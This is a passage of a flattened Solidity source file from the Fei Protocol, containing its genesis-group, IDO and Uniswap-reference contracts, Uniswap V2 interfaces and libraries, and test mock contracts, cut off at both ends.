/// @notice launch Fei Protocol. Callable once Genesis Period has ended or the max price has been reached
function launch() external;
// ----------- Getters -----------
/// @notice calculate amount of FEI and TRIBE received if the Genesis Group ended now.
/// @param amountIn amount of FGEN held or equivalently amount of ETH purchasing with
/// @param inclusive if true, assumes the `amountIn` is part of the existing FGEN supply. Set to false to simulate a new purchase.
/// @return feiAmount the amount of FEI received by the user
/// @return tribeAmount the amount of TRIBE received by the user
function getAmountOut(uint amountIn, bool inclusive) external view returns (uint feiAmount, uint tribeAmount);
/// @notice check whether GenesisGroup has reached max FEI price. Sufficient condition for launch
function isAtMaxPrice() external view returns(bool);
}
// File contracts/fei-protocol/genesis/IDOInterface.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title an initial DeFi offering for the TRIBE token
/// @author Fei Protocol
interface IDOInterface {
// ----------- Events -----------
event Deploy(uint _amountFei, uint _amountTribe);
// ----------- Genesis Group only state changing API -----------
/// @notice deploys all held TRIBE on Uniswap at the given ratio
/// @param feiRatio the exchange rate for FEI/TRIBE
/// @dev the contract will mint any FEI necessary to do the listing. Assumes no existing LP
function deploy(Decimal.D256 calldata feiRatio) external;
/// @notice swaps Genesis Group FEI on Uniswap For TRIBE
/// @param amountFei the amount of FEI to swap
/// @return uint amount of TRIBE sent to Genesis Group
function swapFei(uint amountFei) external returns(uint);
}
// File contracts/fei-protocol/pool/IPool.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title A fluid pool for earning a reward token with staked tokens
/// @author Fei Protocol
interface IPool {
// ----------- Events -----------
event Claim(address indexed _from, address indexed _to, uint _amountReward);
event Deposit(address indexed _from, address indexed _to, uint _amountStaked);
event Withdraw(address indexed _from, address indexed _to, uint _amountStaked, uint _amountReward);
// ----------- State changing API -----------
/// @notice collect redeemable rewards without unstaking
/// @param from the account to claim for
/// @param to the account to send rewards to
/// @return the amount of reward claimed
/// @dev redeeming on behalf of another account requires ERC-20 approval of the pool tokens
function claim(address from, address to) external returns(uint);
/// @notice deposit staked tokens
/// @param to the account to deposit to
/// @param amount the amount of staked to deposit
/// @dev requires ERC-20 approval of stakedToken for the Pool contract
function deposit(address to, uint amount) external;
/// @notice claim all rewards and withdraw stakedToken
/// @param to the account to send withdrawn tokens to
/// @return amountStaked the amount of stakedToken withdrawn
/// @return amountReward the amount of rewardToken received
function withdraw(address to) external returns(uint amountStaked, uint amountReward);
/// @notice initializes the pool start time. Only callable once
function init() external;
// ----------- Getters -----------
/// @notice the ERC20 reward token
/// @return the IERC20 implementation address
function rewardToken() external view returns(IERC20);
/// @notice the total amount of rewards distributed by the contract over entire period
/// @return the total, including currently held and previously claimed rewards
function totalReward() external view returns (uint);
/// @notice the amount of rewards currently redeemable by an account
/// @param account the potentially redeeming account
/// @return amountReward the amount of reward tokens
/// @return amountPool the amount of redeemable pool tokens
function redeemableReward(address account) external view returns(uint amountReward, uint amountPool);
/// @notice the total amount of rewards owned by contract and unlocked for release
/// @return the total
function releasedReward() external view returns (uint);
/// @notice the total amount of rewards owned by contract and locked
/// @return the total
function unreleasedReward() external view returns (uint);
/// @notice the total balance of rewards owned by contract, locked or unlocked
/// @return the total
function rewardBalance() external view returns (uint);
/// @notice the total amount of rewards previously claimed
/// @return the total
function claimedRewards() external view returns(uint128);
/// @notice the ERC20 staked token
/// @return the IERC20 implementation address
function stakedToken() external view returns(IERC20);
/// @notice the total amount of staked tokens in the contract
/// @return the total
function totalStaked() external view returns(uint128);
/// @notice the staked balance of a given account
/// @param account the user account
/// @return the total staked
function stakedBalance(address account) external view returns(uint);
}
// File contracts/fei-protocol/oracle/IBondingCurveOracle.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title bonding curve oracle interface for Fei Protocol
/// @author Fei Protocol
/// @notice peg is to be the current bonding curve price if pre-Scale
interface IBondingCurveOracle is IOracle {
// ----------- Genesis Group only state changing API -----------
/// @notice initializes the oracle with an initial peg price
/// @param initialPeg a peg denominated in Dollars per X
/// @dev divides the initial peg by the uniswap oracle price to get initialPrice. And kicks off thawing period
function init(Decimal.D256 calldata initialPeg) external;
// ----------- Getters -----------
/// @notice the referenced uniswap oracle price
function uniswapOracle() external returns(IOracle);
/// @notice the referenced bonding curve
function bondingCurve() external returns(IBondingCurve);
}
// File contracts/fei-protocol/genesis/GenesisGroup.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title IGenesisGroup implementation
/// @author Fei Protocol
contract GenesisGroup is IGenesisGroup, CoreRef, ERC20, ERC20Burnable, Timed {
using Decimal for Decimal.D256;
IBondingCurve private bondingcurve;
IBondingCurveOracle private bondingCurveOracle;
IPool private pool;
IDOInterface private ido;
uint private exchangeRateDiscount;
mapping(address => uint) public committedFGEN;
uint public totalCommittedFGEN;
uint public totalCommittedTribe;
/// @notice a cap on the genesis group purchase price
Decimal.D256 public maxGenesisPrice;
/// @notice GenesisGroup constructor
/// @param _core Fei Core address to reference
/// @param _bondingcurve Bonding curve address for purchase
/// @param _ido IDO contract to deploy
/// @param _oracle Bonding curve oracle
/// @param _pool Staking Pool
/// @param _duration duration of the Genesis Period
/// @param _maxPriceBPs max price of FEI allowed in Genesis Group in dollar terms
/// @param _exchangeRateDiscount a divisor on the FEI/TRIBE ratio at Genesis to deploy to the IDO
constructor(
address _core,
address _bondingcurve,
address _ido,
address _oracle,
address _pool,
uint32 _duration,
uint _maxPriceBPs,
uint _exchangeRateDiscount
) public
CoreRef(_core)
ERC20("Fei Genesis Group", "FGEN")
Timed(_duration)
{
bondingcurve = IBondingCurve(_bondingcurve);
exchangeRateDiscount = _exchangeRateDiscount;
ido = IDOInterface(_ido);
fei().approve(_ido, uint(-1));
pool = IPool(_pool);
bondingCurveOracle = IBondingCurveOracle(_oracle);
_initTimed();
maxGenesisPrice = Decimal.ratio(_maxPriceBPs, 10000);
}
modifier onlyGenesisPeriod() {
require(!isTimeEnded(), "GenesisGroup: Not in Genesis Period");
_;
}
function purchase(address to, uint value) external override payable onlyGenesisPeriod {
require(msg.value == value, "GenesisGroup: value mismatch");
require(value != 0, "GenesisGroup: no value sent");
_mint(to, value);
emit Purchase(to, value);
}
function commit(address from, address to, uint amount) external override onlyGenesisPeriod {
burnFrom(from, amount);
committedFGEN[to] = amount;
totalCommittedFGEN += amount;
emit Commit(from, to, amount);
}
function redeem(address to) external override {
(uint feiAmount, uint genesisTribe, uint idoTribe) = getAmountsToRedeem(to);
uint tribeAmount = genesisTribe + idoTribe;
require(tribeAmount != 0, "GenesisGroup: No redeemable TRIBE");
uint amountIn = balanceOf(to);
burnFrom(to, amountIn);
uint committed = committedFGEN[to];
committedFGEN[to] = 0;
totalCommittedFGEN -= committed;
totalCommittedTribe -= idoTribe;
if (feiAmount != 0) {
fei().transfer(to, feiAmount);
}
tribe().transfer(to, tribeAmount);
emit Redeem(to, amountIn, feiAmount, tribeAmount);
}
function getAmountsToRedeem(address to) public view postGenesis returns (uint feiAmount, uint genesisTribe, uint idoTribe) {
uint userFGEN = balanceOf(to);
uint userCommittedFGEN = committedFGEN[to];
uint circulatingFGEN = totalSupply();
uint totalFGEN = circulatingFGEN + totalCommittedFGEN;
// subtract purchased TRIBE amount
uint totalGenesisTribe = tribeBalance() - totalCommittedTribe;
if (circulatingFGEN != 0) {
feiAmount = feiBalance() * userFGEN / circulatingFGEN;
}
if (totalFGEN != 0) {
genesisTribe = totalGenesisTribe * (userFGEN + userCommittedFGEN) / totalFGEN;
}
if (totalCommittedFGEN != 0) {
idoTribe = totalCommittedTribe * userCommittedFGEN / totalCommittedFGEN;
}
return (feiAmount, genesisTribe, idoTribe);
}
function launch() external override {
require(isTimeEnded() || isAtMaxPrice(), "GenesisGroup: Still in Genesis Period");
core().completeGenesisGroup();
address genesisGroup = address(this);
uint balance = genesisGroup.balance;
bondingCurveOracle.init(bondingcurve.getAveragePrice(balance));
bondingcurve.purchase{value: balance}(genesisGroup, balance);
bondingcurve.allocate();
pool.init();
ido.deploy(_feiTribeExchangeRate());
uint amountFei = feiBalance() * totalCommittedFGEN / (totalSupply() + totalCommittedFGEN);
if (amountFei != 0) {
totalCommittedTribe = ido.swapFei(amountFei);
}
// solhint-disable-next-line not-rely-on-time
emit Launch(now);
}
// Add a backdoor out of Genesis in case of brick
function emergencyExit(address from, address to) external {
require(now > (startTime + duration + 3 days), "GenesisGroup: Not in exit window");
uint amountFGEN = balanceOf(from);
uint total = amountFGEN + committedFGEN[from];
require(total != 0, "GenesisGroup: No FGEN or committed balance");
require(address(this).balance >= total, "GenesisGroup: Not enough ETH to redeem");
require(msg.sender == from || allowance(from, msg.sender) >= total, "GenesisGroup: Not approved for emergency withdrawal");
burnFrom(from, amountFGEN);
committedFGEN[from] = 0;
payable(to).transfer(total);
}
function getAmountOut(
uint amountIn,
bool inclusive
) public view override returns (uint feiAmount, uint tribeAmount) {
uint totalIn = totalSupply();
if (!inclusive) {
totalIn += amountIn;
}
require(amountIn <= totalIn, "GenesisGroup: Not enough supply");
uint totalFei = bondingcurve.getAmountOut(totalIn);
uint totalTribe = tribeBalance();
return (totalFei * amountIn / totalIn, totalTribe * amountIn / totalIn);
}
function isAtMaxPrice() public view override returns(bool) {
uint balance = address(this).balance;
require(balance != 0, "GenesisGroup: No balance");
return bondingcurve.getAveragePrice(balance).greaterThanOrEqualTo(maxGenesisPrice);
}
function burnFrom(address account, uint amount) public override {
// Sender doesn't need approval
if (msg.sender == account) {
increaseAllowance(account, amount);
}
super.burnFrom(account, amount);
}
function _feiTribeExchangeRate() public view returns (Decimal.D256 memory) {
return Decimal.ratio(feiBalance(), tribeBalance()).div(exchangeRateDiscount);
}
}
// File @uniswap/v2-core/contracts/interfaces/[email protected]
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File @uniswap/v2-periphery/contracts/libraries/[email protected]
pragma solidity =0.6.6;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File @uniswap/v2-periphery/contracts/libraries/[email protected]
pragma solidity >=0.5.0;
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// File @uniswap/v2-periphery/contracts/interfaces/[email protected]
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// File @uniswap/v2-periphery/contracts/interfaces/[email protected]
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// File contracts/fei-protocol/refs/IUniRef.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title A Uniswap Reference contract
/// @author Fei Protocol
/// @notice defines some modifiers and utilities around interacting with Uniswap
/// @dev the uniswap pair should be FEI and another asset
interface IUniRef {
// ----------- Events -----------
event PairUpdate(address indexed _pair);
// ----------- Governor only state changing api -----------
/// @notice set the new pair contract
/// @param _pair the new pair
/// @dev also approves the router for the new pair token and underlying token
function setPair(address _pair) external;
// ----------- Getters -----------
/// @notice the Uniswap router contract
/// @return the IUniswapV2Router02 router implementation address
function router() external view returns(IUniswapV2Router02);
/// @notice the referenced Uniswap pair contract
/// @return the IUniswapV2Pair router implementation address
function pair() external view returns(IUniswapV2Pair);
/// @notice the address of the non-fei underlying token
/// @return the token address
function token() external view returns(address);
/// @notice pair reserves with fei listed first
/// @dev uses the max of pair fei balance and fei reserves. Mitigates attack vectors which manipulate the pair balance
function getReserves() external view returns (uint feiReserves, uint tokenReserves);
/// @notice amount of pair liquidity owned by this contract
/// @return amount of LP tokens
function liquidityOwned() external view returns (uint);
}
// File contracts/fei-protocol/refs/UniRef.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title UniRef abstract implementation contract
/// @author Fei Protocol
abstract contract UniRef is IUniRef, OracleRef {
using Decimal for Decimal.D256;
using Babylonian for uint;
IUniswapV2Router02 public override router;
IUniswapV2Pair public override pair;
/// @notice UniRef constructor
/// @param _core Fei Core to reference
/// @param _pair Uniswap pair to reference
/// @param _router Uniswap Router to reference
/// @param _oracle oracle to reference
constructor(address _core, address _pair, address _router, address _oracle)
public OracleRef(_core, _oracle)
{
setupPair(_pair);
router = IUniswapV2Router02(_router);
approveToken(address(fei()));
approveToken(token());
approveToken(_pair);
}
function setPair(address _pair) external override onlyGovernor {
setupPair(_pair);
approveToken(token());
approveToken(_pair);
}
function token() public override view returns (address) {
address token0 = pair.token0();
if (address(fei()) == token0) {
return pair.token1();
}
return token0;
}
function getReserves() public override view returns (uint feiReserves, uint tokenReserves) {
address token0 = pair.token0();
(uint reserve0, uint reserve1,) = pair.getReserves();
(feiReserves, tokenReserves) = address(fei()) == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
uint feiBalance = fei().balanceOf(address(pair));
if(feiBalance > feiReserves) {
feiReserves = feiBalance;
}
return (feiReserves, tokenReserves);
}
function liquidityOwned() public override view returns (uint) {
return pair.balanceOf(address(this));
}
/// @notice ratio of all pair liquidity owned by this contract
function ratioOwned() internal view returns (Decimal.D256 memory) {
uint balance = liquidityOwned();
uint total = pair.totalSupply();
return Decimal.ratio(balance, total);
}
/// @notice returns true if price is below the peg
/// @dev counterintuitively checks if peg < price because price is reported as FEI per X
function isBelowPeg(Decimal.D256 memory peg) internal view returns (bool) {
(Decimal.D256 memory price,,) = getUniswapPrice();
return peg.lessThan(price);
}
/// @notice approves a token for the router
function approveToken(address _token) internal {
IERC20(_token).approve(address(router), uint(-1));
}
function setupPair(address _pair) internal {
pair = IUniswapV2Pair(_pair);
emit PairUpdate(_pair);
}
function isPair(address account) internal view returns(bool) {
return address(pair) == account;
}
/// @notice utility for calculating absolute distance from peg based on reserves
/// @param reserveTarget pair reserves of the asset desired to trade with
/// @param reserveOther pair reserves of the non-traded asset
/// @param peg the target peg reported as Target per Other
function getAmountToPeg(
uint reserveTarget,
uint reserveOther,
Decimal.D256 memory peg
) internal pure returns (uint) {
uint radicand = peg.mul(reserveTarget).mul(reserveOther).asUint256();
uint root = radicand.sqrt();
if (root > reserveTarget) {
return root - reserveTarget;
}
return reserveTarget - root;
}
/// @notice calculate amount of Fei needed to trade back to the peg
function getAmountToPegFei() internal view returns (uint) {
(uint feiReserves, uint tokenReserves) = getReserves();
return getAmountToPeg(feiReserves, tokenReserves, peg());
}
/// @notice calculate amount of the not Fei token needed to trade back to the peg
function getAmountToPegOther() internal view returns (uint) {
(uint feiReserves, uint tokenReserves) = getReserves();
return getAmountToPeg(tokenReserves, feiReserves, invert(peg()));
}
/// @notice get uniswap price and reserves
/// @return price reported as Fei per X
/// @return reserveFei fei reserves
/// @return reserveOther non-fei reserves
function getUniswapPrice() internal view returns(
Decimal.D256 memory,
uint reserveFei,
uint reserveOther
) {
(reserveFei, reserveOther) = getReserves();
return (Decimal.ratio(reserveFei, reserveOther), reserveFei, reserveOther);
}
/// @notice get final uniswap price after hypothetical FEI trade
/// @param amountFei a signed integer representing FEI trade. Positive=sell, negative=buy
/// @param reserveFei fei reserves
/// @param reserveOther non-fei reserves
function getFinalPrice(
int256 amountFei,
uint reserveFei,
uint reserveOther
) internal pure returns (Decimal.D256 memory) {
uint k = reserveFei * reserveOther;
uint adjustedReserveFei = uint(int256(reserveFei) + amountFei);
uint adjustedReserveOther = k / adjustedReserveFei;
return Decimal.ratio(adjustedReserveFei, adjustedReserveOther); // alt: adjustedReserveFei^2 / k
}
/// @notice return the percent distance from peg before and after a hypothetical trade
/// @param amountIn a signed amount of FEI to be traded. Positive=sell, negative=buy
/// @return initialDeviation the percent distance from peg before trade
/// @return finalDeviation the percent distance from peg after hypothetical trade
/// @dev deviations will return Decimal.zero() if above peg
function getPriceDeviations(int256 amountIn) internal view returns (
Decimal.D256 memory initialDeviation,
Decimal.D256 memory finalDeviation
) {
(Decimal.D256 memory price, uint reserveFei, uint reserveOther) = getUniswapPrice();
initialDeviation = calculateDeviation(price, peg());
Decimal.D256 memory finalPrice = getFinalPrice(amountIn, reserveFei, reserveOther);
finalDeviation = calculateDeviation(finalPrice, peg());
return (initialDeviation, finalDeviation);
}
/// @notice return current percent distance from peg
/// @dev will return Decimal.zero() if above peg
function getDistanceToPeg() internal view returns(Decimal.D256 memory distance) {
(Decimal.D256 memory price, , ) = getUniswapPrice();
return calculateDeviation(price, peg());
}
/// @notice get deviation from peg as a percent given price
/// @dev will return Decimal.zero() if above peg
function calculateDeviation(
Decimal.D256 memory price,
Decimal.D256 memory peg
) internal pure returns (Decimal.D256 memory) {
// If price <= peg, then FEI is more expensive and above peg
// In this case we can just return zero for deviation
if (price.lessThanOrEqualTo(peg)) {
return Decimal.zero();
}
Decimal.D256 memory delta = price.sub(peg, "UniRef: price exceeds peg"); // Should never error
return delta.div(peg);
}
}
// File contracts/fei-protocol/genesis/IDO.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title IDOInterface implementation
/// @author Fei Protocol
contract IDO is IDOInterface, UniRef, LinearTokenTimelock {
/// @notice IDO constructor
/// @param _core Fei Core address to reference
/// @param _beneficiary the beneficiary to vest LP shares
/// @param _duration the duration of LP share vesting
/// @param _pair the Uniswap pair contract of the IDO
/// @param _router the Uniswap router contract
constructor(
address _core,
address _beneficiary,
uint32 _duration,
address _pair,
address _router
) public
UniRef(_core, _pair, _router, address(0)) // no oracle needed
LinearTokenTimelock(_beneficiary, _duration)
{
setLockedToken(_pair);
}
function deploy(Decimal.D256 calldata feiRatio) external override onlyGenesisGroup {
uint tribeAmount = tribeBalance();
uint feiAmount = feiRatio.mul(tribeAmount).asUint256();
_mintFei(feiAmount);
router.addLiquidity(
address(tribe()),
address(fei()),
tribeAmount,
feiAmount,
tribeAmount,
feiAmount,
address(this),
uint(-1)
);
emit Deploy(feiAmount, tribeAmount);
}
function swapFei(uint amountFei) external override onlyGenesisGroup returns(uint) {
(uint feiReserves, uint tribeReserves) = getReserves();
uint amountOut = UniswapV2Library.getAmountOut(amountFei, feiReserves, tribeReserves);
fei().transferFrom(msg.sender, address(pair), amountFei);
(uint amount0Out, uint amount1Out) = pair.token0() == address(fei()) ? (uint(0), amountOut) : (amountOut, uint(0));
pair.swap(amount0Out, amount1Out, msg.sender, new bytes(0));
return amountOut;
}
}
// File contracts/fei-protocol/mock/IMockUniswapV2PairLiquidity.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
interface IMockUniswapV2PairLiquidity is IUniswapV2Pair {
function burnEth(address to, Decimal.D256 calldata ratio) external returns(uint256 amountEth, uint256 amount1);
function mintAmount(address to, uint256 _liquidity) external payable;
function setReserves(uint112 newReserve0, uint112 newReserve1) external;
}
// File contracts/fei-protocol/mock/MockBondingCurve.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
contract MockBondingCurve {
bool public atScale;
bool public allocated;
Decimal.D256 public getCurrentPrice;
constructor(bool _atScale, uint256 price) public {
setScale(_atScale);
setCurrentPrice(price);
}
function setScale(bool _atScale) public {
atScale = _atScale;
}
function setCurrentPrice(uint256 price) public {
getCurrentPrice = Decimal.ratio(price, 100);
}
function allocate() public payable {
allocated = true;
}
function purchase(address to, uint amount) public payable returns (uint256 amountOut) {
return 1;
}
function getAmountOut(uint amount) public view returns(uint) {
return 10 * amount;
}
function getAveragePrice(uint256 amountIn) public view returns (Decimal.D256 memory) {
return getCurrentPrice;
}
}
// File contracts/fei-protocol/mock/MockCoreRef.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
contract MockCoreRef is CoreRef {
constructor(address core)
CoreRef(core)
public {}
function testMinter() public view onlyMinter {}
function testBurner() public view onlyBurner {}
function testPCVController() public view onlyPCVController {}
function testGovernor() public view onlyGovernor {}
function testPostGenesis() public view postGenesis {}
}
// File contracts/fei-protocol/mock/MockERC20.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
contract MockERC20 is ERC20, ERC20Burnable {
constructor()
ERC20("MockToken", "MCT")
public {}
function mint(address account, uint256 amount) public returns (bool) {
_mint(account, amount);
return true;
}
}
// File contracts/fei-protocol/mock/MockEthPCVDeposit.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
contract MockEthPCVDeposit is IPCVDeposit {
address payable beneficiary;
uint256 total = 0;
constructor(address payable _beneficiary) public {
beneficiary = _beneficiary;
}
function deposit(uint256 amount) external override payable {
require(amount == msg.value, "MockEthPCVDeposit: Sent value does not equal input");
beneficiary.transfer(amount);
total += amount;
}
function withdraw(address to, uint256 amount) external override {
require(address(this).balance >= amount, "MockEthPCVDeposit: Not enough value held");
total -= amount;
payable(to).transfer(amount);
}
function totalValue() external view override returns(uint256) {
return total;
}
}
// File contracts/fei-protocol/mock/MockEthUniswapPCVDeposit.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
contract MockEthUniswapPCVDeposit is MockEthPCVDeposit {
address public pair;
constructor(address _pair)
MockEthPCVDeposit(payable(this))
public {
pair = _pair;
}
fallback() external payable {
}
}
// File contracts/fei-protocol/mock/MockIDO.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
contract MockIDO {
Decimal.D256 public ratio = Decimal.zero();
IERC20 public tribe;
uint multiplier;
constructor(address _tribe, uint _multiplier) public {
tribe = IERC20(_tribe);
multiplier = _multiplier;
}
function deploy(Decimal.D256 memory feiRatio) public {
ratio = feiRatio;
}
function swapFei(uint amount) public returns (uint amountOut) {
amountOut = amount * multiplier;
tribe.transfer(msg.sender, amountOut);
return amountOut;
}
}
// File contracts/fei-protocol/mock/MockIncentive.sol
pragma solidity ^0.6.0;
